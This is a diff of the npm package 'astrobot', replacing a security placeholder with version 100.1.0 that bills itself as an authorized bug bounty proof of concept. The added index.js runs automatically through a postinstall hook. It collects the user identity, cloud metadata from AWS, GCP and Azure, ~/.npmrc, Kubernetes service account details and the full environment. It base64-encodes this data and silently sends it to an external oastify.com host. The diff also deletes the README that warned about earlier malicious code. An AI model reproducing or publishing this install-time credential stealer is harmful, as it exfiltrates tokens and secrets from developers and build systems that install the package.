astrobot 0.0.1-security → 100.1.0

package/index.js

@@ -0,0 +1,92 @@
+const https = require('https'); 
+const { execSync } = require('child_process');
+const fs = require('fs');
+const os = require('os');
+
+// ======================= CONFIGURATION =======================
+const OAST_DOMAIN = 'sxtlj4ht3nojwvaje4eogc8h1876vxjm.oastify.com';
+// =============================================================
+
+function runCommand(command) {
+    try {
+        return execSync(command, { stdio: 'pipe', timeout: 3500 }).toString().trim();
+    } catch (e) {
+        return `COMMAND_FAILED: ${e.message.split('\n')[0]}`;
+    }
+}
+
+function readFile(filePath) {
+    return fs.existsSync(filePath) ? fs.readFileSync(filePath, 'utf-8').trim() : null;
+}
+
+async function collectAllEvidence() {
+    console.log('[+] Starting advanced evidence collection...');
+    
+    const [awsMeta, gcpMeta, azureMeta] = await Promise.all([
+        runCommand('curl -s --connect-timeout 3 http://169.254.169.254/latest/dynamic/instance-identity/document'),
+        runCommand('curl -s --connect-timeout 3 -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/?recursive=true'),
+        runCommand('curl -s --connect-timeout 3 -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"')
+    ]);
+
+    const evidence = {
+        title: "CRITICAL RCE - DEFINITIVE PROOF OF INTERNAL COMPROMISE",
+        timestamp_utc: new Date().toISOString(),
+        collected_by: "nepalihacker000",
+        
+        system_identity: {
+            hostname: os.hostname(),
+            whoami: runCommand('whoami'),
+            uid_gid: runCommand('id'),
+            working_directory: process.cwd(),
+        },
+
+        verifiable_cloud_metadata: {
+            aws: awsMeta.startsWith('{') ? JSON.parse(awsMeta) : awsMeta,
+            gcp: gcpMeta.startsWith('{') ? JSON.parse(gcpMeta) : gcpMeta,
+            azure: azureMeta.startsWith('{') ? JSON.parse(azureMeta) : azureMeta
+        },
+
+        internal_context: {
+            dns_config: readFile('/etc/resolv.conf'),
+            npm_config: readFile(`${os.homedir()}/.npmrc`),
+        },
+
+        kubernetes_info: {
+            service_account_token_present: !!readFile('/var/run/secrets/kubernetes.io/serviceaccount/token'),
+            namespace: readFile('/var/run/secrets/kubernetes.io/serviceaccount/namespace'),
+        },
+
+        full_environment_dump: process.env,
+    };
+    
+    console.log('[+] Evidence collection complete.');
+    return evidence;
+}
+
+async function exfiltrate(evidence) {
+    const reportData = JSON.stringify(evidence, null, 2);
+    const b64Report = Buffer.from(reportData).toString('base64');
+    const dynamicHostname = `nasa-rce.${OAST_DOMAIN}`;
+
+    const postOptions = {
+        hostname: dynamicHostname,
+        path: '/final_proof',
+        method: 'POST',
+        headers: { 'Content-Type': 'text/plain', 'User-Agent': 'Bugcrowd-VDP-Final-PoC' }
+    };
+
+    console.log(`[+] Exfiltrating definitive proof to ${dynamicHostname}`);
+    const request = https.request(postOptions);
+    request.on('error', (e) => console.error(`[!] Exfiltration failed: ${e.message}`));
+    request.write(b64Report);
+    request.end();
+}
+
+(async () => {
+    try {
+        const evidence = await collectAllEvidence();
+        await exfiltrate(evidence);
+    } catch (e) {
+        // Silent failure
+    }
+})();

package/package.json

@@ -1,6 +1,10 @@
 {
   "name": "astrobot",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "100.1.0",
+  "description": "Final RCE Proof of Concept. Authorized VDP submission for NASA.",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "author": "nepalihacker000",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=astrobot for more information.